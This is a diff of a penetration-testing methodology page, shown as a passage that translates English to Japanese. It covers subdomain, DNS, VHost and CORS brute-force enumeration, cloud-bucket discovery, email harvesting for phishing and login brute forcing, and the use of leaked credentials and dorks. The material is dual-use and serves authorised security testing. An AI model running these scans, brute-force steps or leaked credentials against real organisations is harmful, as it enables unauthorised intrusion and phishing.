tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye" ``` +他にも**興味深いツール/API**があり、サブドメインの発見に特化していなくてもサブドメインを見つけるのに役立つものがあります。例えば: -There are **other interesting tools/APIs** that even if not directly specialised in finding subdomains could be useful to find subdomains, like: - -- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Uses the API [https://sonar.omnisint.io](https://sonar.omnisint.io) to obtain subdomains - +- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** API [https://sonar.omnisint.io](https://sonar.omnisint.io)を使用してサブドメインを取得します。 ```bash # Get list of subdomains in output from the API ## This is the API the crobat tool will use curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]" ``` - -- [**JLDC free API**](https://jldc.me/anubis/subdomains/google.com) - +- [**JLDC無料API**](https://jldc.me/anubis/subdomains/google.com) ```bash curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]" ``` - -- [**RapidDNS**](https://rapiddns.io) free API - +- [**RapidDNS**](https://rapiddns.io) 無料API ```bash # Get Domains from rapiddns free API rapiddns(){ - curl -s "https://rapiddns.io/subdomain/$1?full=1" \ - | grep -oE "[\.a-zA-Z0-9-]+\.$1" \ - | sort -u +curl -s "https://rapiddns.io/subdomain/$1?full=1" \ +| grep -oE "[\.a-zA-Z0-9-]+\.$1" \ +| sort -u } rapiddns tesla.com ``` - - [**https://crt.sh/**](https://crt.sh) - ```bash # Get Domains from crt free API crt(){ - curl -s "https://crt.sh/?q=%25.$1" \ - | grep -oE "[\.a-zA-Z0-9-]+\.$1" \ - | sort -u +curl -s "https://crt.sh/?q=%25.$1" \ +| grep -oE "[\.a-zA-Z0-9-]+\.$1" \ +| sort -u } crt tesla.com ``` - -- [**gau**](https://github.com/lc/gau)**:** fetches known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, and Common Crawl for any given domain. - +- [**gau**](https://github.com/lc/gau)**:** 指定されたドメインに対して、AlienVaultのOpen Threat Exchange、Wayback Machine、およびCommon Crawlから既知のURLを取得します。 ```bash # Get subdomains from GAUs found URLs gau --subs tesla.com | cut -d "/" -f 3 | sort -u ``` - -- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): They scrap the web looking for JS files and extract subdomains from there. - +- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): これらはウェブをスクレイピングしてJSファイルを探し、そこからサブドメインを抽出します。 ```bash # Get only subdomains from SubDomainizer python3 SubDomainizer.py -u https://tesla.com | grep tesla.com @@ -351,42 +297,35 @@ python3 SubDomainizer.py -u https://tesla.com | grep tesla.com # Get only subdomains from subscraper, this already perform recursion over the found results python subscraper.py -u tesla.com | grep tesla.com | cut -d " " -f ``` - - [**Shodan**](https://www.shodan.io/) - ```bash # Get info about the domain shodan domain # Get other pages with links to subdomains shodan search "http.html:help.domain.com" ``` - -- [**Censys subdomain finder**](https://github.com/christophetd/censys-subdomain-finder) - +- [**Censysサブドメインファインダー**](https://github.com/christophetd/censys-subdomain-finder) ```bash export CENSYS_API_ID=... export CENSYS_API_SECRET=... python3 censys-subdomain-finder.py tesla.com ``` - - [**DomainTrail.py**](https://github.com/gatete/DomainTrail) - ```bash python3 DomainTrail.py -d example.com ``` - -- [**securitytrails.com**](https://securitytrails.com/) has a free API to search for subdomains and IP history +- [**securitytrails.com**](https://securitytrails.com/) は、サブドメインとIP履歴を検索するための無料APIを提供しています - [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/) -This project offers for **free all the subdomains related to bug-bounty programs**. You can access this data also using [chaospy](https://github.com/dr-0x0x/chaospy) or even access the scope used by this project [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) +このプロジェクトは、**バグバウンティプログラムに関連するすべてのサブドメインを無料で提供**しています。このデータには、[chaospy](https://github.com/dr-0x0x/chaospy)を使用してアクセスすることもできますし、このプロジェクトで使用されているスコープにアクセスすることもできます [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) -You can find a **comparison** of many of these tools here: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) +これらのツールの**比較**はここで見つけることができます: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) -### **DNS Brute force** +### **DNSブルートフォース** -Let's try to find new **subdomains** brute-forcing DNS servers using possible subdomain names. +可能なサブドメイン名を使用してDNSサーバーをブルートフォースして新しい**サブドメイン**を見つけてみましょう。 -For this action you will need some **common subdomains wordlists like**: +このアクションには、いくつかの**一般的なサブドメインのワードリスト**が必要です: - [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056) - [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt) @@ -394,118 +333,93 @@ For this action you will need some **common subdomains wordlists like**: - [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak) - [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS) -And also IPs of good DNS resolvers. In order to generate a list of trusted DNS resolvers you can download the resolvers from [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) and use [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) to filter them. Or you could use: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) +また、良好なDNSリゾルバのIPも必要です。信頼できるDNSリゾルバのリストを生成するために、[https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt)からリゾルバをダウンロードし、[**dnsvalidator**](https://github.com/vortexau/dnsvalidator)を使用してフィルタリングすることができます。または、[https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)を使用することもできます。 -The most recommended tools for DNS brute-force are: - -- [**massdns**](https://github.com/blechschmidt/massdns): This was the first tool that performed an effective DNS brute-force. It's very fast however it's prone to false positives. +DNSブルートフォースに最も推奨されるツールは次のとおりです: +- [**massdns**](https://github.com/blechschmidt/massdns): これは効果的なDNSブルートフォースを実行した最初のツールです。非常に高速ですが、誤検知が発生しやすいです。 ```bash sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt ./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt ``` - -- [**gobuster**](https://github.com/OJ/gobuster): This one I think just uses 1 resolver - +- [**gobuster**](https://github.com/OJ/gobuster): これは1つのリゾルバを使用していると思います。 ``` gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` - -- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) is a wrapper around `massdns`, written in go, that allows you to enumerate valid subdomains using active bruteforce, as well as resolve subdomains with wildcard handling and easy input-output support. - +- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) は、`massdns` のラッパーで、Go で書かれており、アクティブブルートフォースを使用して有効なサブドメインを列挙することができ、ワイルドカード処理と簡単な入出力サポートを使用してサブドメインを解決することができます。 ``` shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` - -- [**puredns**](https://github.com/d3mondev/puredns): It also uses `massdns`. - +- [**puredns**](https://github.com/d3mondev/puredns): それは `massdns` も使用します。 ``` puredns bruteforce all.txt domain.com ``` - -- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) uses asyncio to brute force domain names asynchronously. - +- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) は、asyncioを使用してドメイン名を非同期にブルートフォースします。 ``` aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com ``` +### 第二のDNSブルートフォースラウンド -### Second DNS Brute-Force Round - -After having found subdomains using open sources and brute-forcing, you could generate alterations of the subdomains found to try to find even more. Several tools are useful for this purpose: - -- [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Given the domains and subdomains generate permutations. +オープンソースとブルートフォースを使用してサブドメインを見つけた後、見つかったサブドメインの変種を生成してさらに多くを見つけることができます。この目的のためにいくつかのツールが役立ちます: +- [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** ドメインとサブドメインを与えると、順列を生成します。 ```bash cat subdomains.txt | dnsgen - ``` - -- [**goaltdns**](https://github.com/subfinder/goaltdns): Given the domains and subdomains generate permutations. - - You can get goaltdns permutations **wordlist** in [**here**](https://github.com/subfinder/goaltdns/blob/master/words.txt). - +- [**goaltdns**](https://github.com/subfinder/goaltdns): ドメインとサブドメインを与えると、順列を生成します。 +- **wordlist** の goaltdns 順列は [**こちら**](https://github.com/subfinder/goaltdns/blob/master/words.txt) で入手できます。 ```bash goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt ``` - -- [**gotator**](https://github.com/Josue87/gotator)**:** Given the domains and subdomains generate permutations. If not permutations file is indicated gotator will use its own one. - +- [**gotator**](https://github.com/Josue87/gotator)**:** ドメインとサブドメインを指定して順列を生成します。順列ファイルが指定されていない場合、gotatorは独自のファイルを使用します。 ``` gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` - -- [**altdns**](https://github.com/infosec-au/altdns): Apart from generating subdomains permutations, it can also try to resolve them (but it's better to use the previous commented tools). - - You can get altdns permutations **wordlist** in [**here**](https://github.com/infosec-au/altdns/blob/master/words.txt). - +- [**altdns**](https://github.com/infosec-au/altdns): サブドメインの順列を生成するだけでなく、それらを解決しようとすることもできます(ただし、前述のツールを使用する方が良いです)。 +- altdnsの順列の**wordlist**は[**こちら**](https://github.com/infosec-au/altdns/blob/master/words.txt)で入手できます。 ``` altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` - -- [**dmut**](https://github.com/bp0lr/dmut): Another tool to perform permutations, mutations and alteration of subdomains. This tool will brute force the result (it doesn't support dns wild card). - - You can get dmut permutations wordlist in [**here**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt). - +- [**dmut**](https://github.com/bp0lr/dmut): サブドメインの順列、変異、変更を行うための別のツールです。このツールは結果をブルートフォースします(DNSワイルドカードはサポートしていません)。 +- dmutの順列ワードリストは[**こちら**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt)から取得できます。 ```bash cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ - --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt +--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt ``` +- [**alterx**](https://github.com/projectdiscovery/alterx)**:** 指定されたパターンに基づいて、ドメインに基づいて**新しい潜在的なサブドメイン名を生成**し、より多くのサブドメインを発見しようとします。 -- [**alterx**](https://github.com/projectdiscovery/alterx)**:** Based on a domain it **generates new potential subdomains names** based on indicated patterns to try to discover more subdomains. - -#### Smart permutations generation - -- [**regulator**](https://github.com/cramppet/regulator): For more info read this [**post**](https://cramppet.github.io/regulator/index.html) but it will basically get the **main parts** from the **discovered subdomains** and will mix them to find more subdomains. +#### スマートな順列生成 +- [**regulator**](https://github.com/cramppet/regulator): 詳細についてはこの[**投稿**](https://cramppet.github.io/regulator/index.html)を読んでくださいが、基本的には**発見されたサブドメイン**の**主要部分**を取得し、それらを混ぜてより多くのサブドメインを見つけます。 ```bash python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute puredns resolve adobe.brute --write adobe.valid ``` - -- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ is a subdomain brute-force fuzzer coupled with an immensly simple but effective DNS reponse-guided algorithm. It utilizes a provided set of input data, like a tailored wordlist or historical DNS/TLS records, to accurately synthesize more corresponding domain names and expand them even further in a loop based on information gathered during DNS scan. - +- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ は、非常にシンプルで効果的なDNS応答ガイドアルゴリズムと組み合わされたサブドメインブルートフォースファズァです。提供された入力データセット(カスタマイズされたワードリストや過去のDNS/TLSレコードなど)を利用して、より対応するドメイン名を正確に合成し、DNSスキャン中に収集した情報に基づいてさらにループで拡張します。 ``` echo www | subzuf facebook.com ``` +### **サブドメイン発見ワークフロー** -### **Subdomain Discovery Workflow** - -Check this blog post I wrote about how to **automate the subdomain discovery** from a domain using **Trickest workflows** so I don't need to launch manually a bunch of tools in my computer: +私が書いたブログ記事をチェックしてください。**Trickest workflows**を使用してドメインから**サブドメインの発見を自動化する**方法について説明しています。これにより、コンピュータでツールを手動で起動する必要がなくなります。 {% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %} {% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %} -### **VHosts / Virtual Hosts** +### **VHosts / バーチャルホスト** -If you found an IP address containing **one or several web pages** belonging to subdomains, you could try to **find other subdomains with webs in that IP** by looking in **OSINT sources** for domains in an IP or by **brute-forcing VHost domain names in that IP**. +サブドメインに属する**1つまたは複数のウェブページ**を含むIPアドレスを見つけた場合、そのIP内の**ウェブがある他のサブドメインを見つける**ために、**OSINTソース**でIP内のドメインを探すか、**そのIP内のVHostドメイン名をブルートフォースする**ことを試みることができます。 #### OSINT -You can find some **VHosts in IPs using** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **or other APIs**. +[**HostHunter**](https://github.com/SpiderLabs/HostHunter) **や他のAPIを使用してIP内のいくつかのVHostsを見つけることができます**。 -**Brute Force** - -If you suspect that some subdomain can be hidden in a web server you could try to brute force it: +**ブルートフォース** +ウェブサーバーに隠されたサブドメインがあると疑う場合は、それをブルートフォースしてみることができます: ```bash ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com" @@ -519,207 +433,196 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com #https://github.com/codingo/VHostScan VHostScan -t example.com ``` - > [!NOTE] -> With this technique you may even be able to access internal/hidden endpoints. +> この技術を使用すると、内部/隠れたエンドポイントにアクセスできる場合があります。 -### **CORS Brute Force** - -Sometimes you will find pages that only return the header _**Access-Control-Allow-Origin**_ when a valid domain/subdomain is set in the _**Origin**_ header. In these scenarios, you can abuse this behaviour to **discover** new **subdomains**. +### **CORS ブルートフォース** +時々、_**Origin**_ ヘッダーに有効なドメイン/サブドメインが設定されている場合にのみ、_**Access-Control-Allow-Origin**_ ヘッダーを返すページを見つけることがあります。これらのシナリオでは、この動作を悪用して新しい **サブドメイン** を **発見** することができます。 ```bash ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` +### **バケットブルートフォース** -### **Buckets Brute Force** +**サブドメイン**を探しているときは、**バケット**に**ポイント**しているかどうかに注意し、その場合は[**権限を確認**](../../network-services-pentesting/pentesting-web/buckets/)**してください。**\ +また、この時点でスコープ内のすべてのドメインを把握しているので、[**可能なバケット名をブルートフォースし、権限を確認**](../../network-services-pentesting/pentesting-web/buckets/)してください。 -While looking for **subdomains** keep an eye to see if it is **pointing** to any type of **bucket**, and in that case [**check the permissions**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ -Also, as at this point you will know all the domains inside the scope, try to [**brute force possible bucket names and check the permissions**](../../network-services-pentesting/pentesting-web/buckets/). +### **モニタリング** -### **Monitorization** +**新しいサブドメイン**が作成されたかどうかを**Certificate Transparency**ログを監視することで**モニタリング**できます。[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)がそれを行います。 -You can **monitor** if **new subdomains** of a domain are created by monitoring the **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)does. +### **脆弱性の検索** -### **Looking for vulnerabilities** +可能な[**サブドメインテイクオーバー**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)を確認してください。\ +もし**サブドメイン**が**S3バケット**に**ポイント**している場合は、[**権限を確認**](../../network-services-pentesting/pentesting-web/buckets/)してください。 -Check for possible [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ -If the **subdomain** is pointing to some **S3 bucket**, [**check the permissions**](../../network-services-pentesting/pentesting-web/buckets/). - -If you find any **subdomain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\ -&#xNAN;_Note that sometimes the subdomain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ +もし**資産発見**で見つけたものとは異なるIPを持つ**サブドメイン**を見つけた場合は、**基本的な脆弱性スキャン**(NessusやOpenVASを使用)と、**ポートスキャン**(nmap/masscan/shodanを使用)を実施するべきです。実行中のサービスに応じて、**この本の中で「攻撃」するためのいくつかのトリックを見つけることができます**。\ +&#xNAN;_Noteとして、時々サブドメインがクライアントによって制御されていないIP内にホストされていることがあるため、スコープ外であることに注意してください。_ ## IPs -In the initial steps you might have **found some IP ranges, domains and subdomains**.\ -It’s time to **recollect all the IPs from those ranges** and for the **domains/subdomains (DNS queries).** +初期段階で**いくつかのIP範囲、ドメイン、サブドメイン**を**見つけたかもしれません**。\ +これらの範囲から**すべてのIPを収集する**時です。また、**ドメイン/サブドメイン(DNSクエリ)**のために。 -Using services from the following **free apis** you can also find **previous IPs used by domains and subdomains**. These IPs might still be owned by the client (and might allow you to find [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) +以下の**無料API**のサービスを使用すると、**ドメインとサブドメインによって使用された以前のIP**も見つけることができます。これらのIPはまだクライアントによって所有されている可能性があり、[**CloudFlareのバイパス**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)を見つける手助けになるかもしれません。 - [**https://securitytrails.com/**](https://securitytrails.com/) -You can also check for domains pointing a specific IP address using the tool [**hakip2host**](https://github.com/hakluke/hakip2host) +特定のIPアドレスを指すドメインを確認するには、[**hakip2host**](https://github.com/hakluke/hakip2host)というツールを使用できます。 -### **Looking for vulnerabilities** +### **脆弱性の検索** -**Port scan all the IPs that doesn’t belong to CDNs** (as you highly probably won’t find anything interested in there). In the running services discovered you might be **able to find vulnerabilities**. +**CDNに属さないすべてのIPをポートスキャン**してください(そこでは興味深いものは見つからない可能性が高いです)。発見された実行中のサービスでは、**脆弱性を見つけることができるかもしれません**。 -**Find a** [**guide**](../pentesting-network/) **about how to scan hosts.** +**ホストをスキャンする方法に関する**[**ガイド**](../pentesting-network/)を見つけてください。 -## Web servers hunting +## ウェブサーバーハンティング -> We have found all the companies and their assets and we know IP ranges, domains and subdomains inside the scope. It's time to search for web servers. +> すべての企業とその資産を見つけ、スコープ内のIP範囲、ドメイン、サブドメインを把握しました。ウェブサーバーを探す時です。 -In the previous steps you have probably already performed some **recon of the IPs and domains discovered**, so you may have **already found all the possible web servers**. However, if you haven't we are now going to see some **fast tricks to search for web servers** inside the scope. +前のステップで、**発見したIPとドメインのリコン**をすでに実施しているかもしれませんので、**すべての可能なウェブサーバーをすでに見つけているかもしれません**。しかし、もし見つけていない場合は、スコープ内のウェブサーバーを探すための**迅速なトリック**を見ていきます。 -Please, note that this will be **oriented for web apps discovery**, so you should **perform the vulnerability** and **port scanning** also (**if allowed** by the scope). - -A **fast method** to discover **ports open** related to **web** servers using [**masscan** can be found here](../pentesting-network/#http-port-discovery).\ -Another friendly tool to look for web servers is [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) and [**httpx**](https://github.com/projectdiscovery/httpx). You just pass a list of domains and it will try to connect to port 80 (http) and 443 (https). Additionally, you can indicate to try other ports: +これは**ウェブアプリの発見**に**特化**しているため、**脆弱性**と**ポートスキャン**も実施するべきです(**スコープによって許可されている場合**)。 +**ウェブ**サーバーに関連する**オープンポート**を発見するための**迅速な方法**は、[**masscan**を使用することができます](../pentesting-network/#http-port-discovery)。\ +ウェブサーバーを探すためのもう一つの便利なツールは、[**httprobe**](https://github.com/tomnomnom/httprobe)**、**[**fprobe**](https://github.com/theblackturtle/fprobe)および[**httpx**](https://github.com/projectdiscovery/httpx)です。ドメインのリストを渡すだけで、ポート80(http)と443(https)に接続を試みます。さらに、他のポートを試すように指示することもできます: ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 ``` +### **スクリーンショット** -### **Screenshots** +スコープ内に存在する**すべてのウェブサーバー**(会社の**IP**やすべての**ドメイン**、**サブドメイン**の中で)を発見したので、どこから始めればよいかわからないかもしれません。そこで、シンプルにして、すべてのスクリーンショットを撮ることから始めましょう。**メインページ**を**見るだけで**、**脆弱性**がある可能性の高い**奇妙な**エンドポイントを見つけることができます。 -Now that you have discovered **all the web servers** present in the scope (among the **IPs** of the company and all the **domains** and **subdomains**) you probably **don't know where to start**. So, let's make it simple and start just taking screenshots of all of them. Just by **taking a look** at the **main page** you can find **weird** endpoints that are more **prone** to be **vulnerable**. +提案されたアイデアを実行するには、[**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、[**Gowitness**](https://github.com/sensepost/gowitness)または[**webscreenshot**](https://github.com/maaaaz/webscreenshot)**を使用できます。** -To perform the proposed idea you can use [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) or [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** +さらに、[**eyeballer**](https://github.com/BishopFox/eyeballer)を使用して、すべての**スクリーンショット**を確認し、**脆弱性を含む可能性が高いもの**とそうでないものを教えてもらうことができます。 -Moreover, you could then use [**eyeballer**](https://github.com/BishopFox/eyeballer) to run over all the **screenshots** to tell you **what's likely to contain vulnerabilities**, and what isn't. +## パブリッククラウド資産 -## Public Cloud Assets +会社に属する潜在的なクラウド資産を見つけるには、**その会社を特定するキーワードのリストから始めるべきです**。たとえば、暗号会社の場合、次のような単語を使用することがあります:`"crypto", "wallet", "dao", "", <"subdomain_names">`。 -In order to find potential cloud assets belonging to a company you should **start with a list of keywords that identify that company**. For example, a crypto for a crypto company you might use words such as: `"crypto", "wallet", "dao", "", <"subdomain_names">`. - -You will also need wordlists of **common words used in buckets**: +また、**バケットで使用される一般的な単語のワードリスト**も必要です: - [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt) - [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) - [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt) -Then, with those words you should generate **permutations** (check the [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) for more info). +次に、それらの単語を使用して**順列**を生成する必要があります(詳細については[**第二ラウンドDNSブルートフォース**](./#second-dns-bruteforce-round)を確認してください)。 -With the resulting wordlists you could use tools such as [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **or** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.** +生成されたワードリストを使用して、[**cloud_enum**](https://github.com/initstring/cloud_enum)**、** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**、** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **または** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**を使用できます。** -Remember that when looking for Cloud Assets you should l**ook for more than just buckets in AWS**. +クラウド資産を探す際には、**AWSのバケット以上のものを探すべきです**。 -### **Looking for vulnerabilities** +### **脆弱性の検索** -If you find things such as **open buckets or cloud functions exposed** you should **access them** and try to see what they offer you and if you can abuse them. +**オープンバケットや公開されたクラウド機能**などを見つけた場合は、それに**アクセスして**、何を提供しているのか、どのように悪用できるかを確認するべきです。 -## Emails +## メール -With the **domains** and **subdomains** inside the scope you basically have all what you **need to start searching for emails**. These are the **APIs** and **tools** that have worked the best for me to find emails of a company: +スコープ内の**ドメイン**と**サブドメイン**を持っているので、**メールを検索するために必要なすべてのもの**があります。これらは、会社のメールを見つけるために私が最も効果的だと感じた**API**と**ツール**です: -- [**theHarvester**](https://github.com/laramies/theHarvester) - with APIs -- API of [**https://hunter.io/**](https://hunter.io/) (free version) -- API of [**https://app.snov.io/**](https://app.snov.io/) (free version) -- API of [**https://minelead.io/**](https://minelead.io/) (free version) +- [**theHarvester**](https://github.com/laramies/theHarvester) - APIを使用 +- [**https://hunter.io/**](https://hunter.io/)のAPI(無料版) +- [**https://app.snov.io/**](https://app.snov.io/)のAPI(無料版) +- [**https://minelead.io/**](https://minelead.io/)のAPI(無料版) -### **Looking for vulnerabilities** +### **脆弱性の検索** -Emails will come handy later to **brute-force web logins and auth services** (such as SSH). Also, they are needed for **phishings**. Moreover, these APIs will give you even more **info about the person** behind the email, which is useful for the phishing campaign. +メールは、**ウェブログインや認証サービス**(SSHなど)の**ブルートフォース**に役立ちます。また、**フィッシング**にも必要です。さらに、これらのAPIは、メールの背後にいる**人物に関するさらなる情報**を提供してくれます。これはフィッシングキャンペーンに役立ちます。 -## Credential Leaks +## 資格情報の漏洩 -With the **domains,** **subdomains**, and **emails** you can start looking for credentials leaked in the past belonging to those emails: +**ドメイン、** **サブドメイン、** **メール**を持っているので、過去に漏洩したそのメールに関連する資格情報を探し始めることができます: - [https://leak-lookup.com](https://leak-lookup.com/account/login) - [https://www.dehashed.com/](https://www.dehashed.com/) -### **Looking for vulnerabilities** +### **脆弱性の検索** -If you find **valid leaked** credentials, this is a very easy win. +**有効な漏洩した**資格情報を見つけた場合、これは非常に簡単な勝利です。 -## Secrets Leaks +## 秘密の漏洩 -Credential leaks are related to hacks of companies where **sensitive information was leaked and sold**. However, companies might be affected for **other leaks** whose info isn't in those databases: +資格情報の漏洩は、**機密情報が漏洩して販売された**企業のハッキングに関連しています。ただし、企業は、これらのデータベースに情報がない**他の漏洩**の影響を受ける可能性があります: -### Github Leaks +### Githubの漏洩 -Credentials and APIs might be leaked in the **public repositories** of the **company** or of the **users** working by that github company.\ -You can use the **tool** [**Leakos**](https://github.com/carlospolop/Leakos) to **download** all the **public repos** of an **organization** and of its **developers** and run [**gitleaks**](https://github.com/zricethezav/gitleaks) over them automatically. +資格情報やAPIは、**会社**やその**ユーザー**の**公開リポジトリ**で漏洩する可能性があります。\ +**Leakos**という**ツール**を使用して、**組織**とその**開発者**のすべての**公開リポジトリ**を**ダウンロード**し、自動的に[**gitleaks**](https://github.com/zricethezav/gitleaks)を実行できます。 -**Leakos** can also be used to run **gitleaks** agains all the **text** provided **URLs passed** to it as sometimes **web pages also contains secrets**. +**Leakos**は、提供された**URLに渡された**すべての**テキスト**に対して**gitleaks**を実行するためにも使用できます。時には**ウェブページにも秘密が含まれている**ことがあります。 #### Github Dorks -Check also this **page** for potential **github dorks** you could also search for in the organization you are attacking: +攻撃している組織で検索できる潜在的な**github dorks**については、この**ページ**も確認してください: {{#ref}} github-leaked-secrets.md {{#endref}} -### Pastes Leaks +### Pasteの漏洩 -Sometimes attackers or just workers will **publish company content in a paste site**. This might or might not contain **sensitive information**, but it's very interesting to search for it.\ -You can use the tool [**Pastos**](https://github.com/carlospolop/Pastos) to search in more that 80 paste sites at the same time. +時には攻撃者や単なる従業員が**会社のコンテンツをペーストサイトに公開**します。これには**機密情報**が含まれている場合もあれば、含まれていない場合もありますが、検索するのは非常に興味深いです。\ +[**Pastos**](https://github.com/carlospolop/Pastos)というツールを使用して、80以上のペーストサイトを同時に検索できます。 ### Google Dorks -Old but gold google dorks are always useful to find **exposed information that shouldn't be there**. The only problem is that the [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contains several **thousands** of possible queries that you cannot run manually. So, you can get your favourite 10 ones or you could use a **tool such as** [**Gorks**](https://github.com/carlospolop/Gorks) **to run them all**. +古いですが金のようなGoogle Dorksは、**そこにあるべきでない情報を見つける**のに常に役立ちます。唯一の問題は、[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)に、手動で実行できない**数千**の可能なクエリが含まれていることです。したがって、お気に入りの10個を取得するか、[**Gorks**](https://github.com/carlospolop/Gorks)のような**ツールを使用してすべてを実行**することができます。 -_Note that the tools that expect to run all the database using the regular Google browser will never end as google will block you very very soon._ +_すべてのデータベースを通常のGoogleブラウザを使用して実行しようとするツールは、非常に早くGoogleにブロックされるため、決して終わらないことに注意してください。_ -### **Looking for vulnerabilities** +### **脆弱性の検索** -If you find **valid leaked** credentials or API tokens, this is a very easy 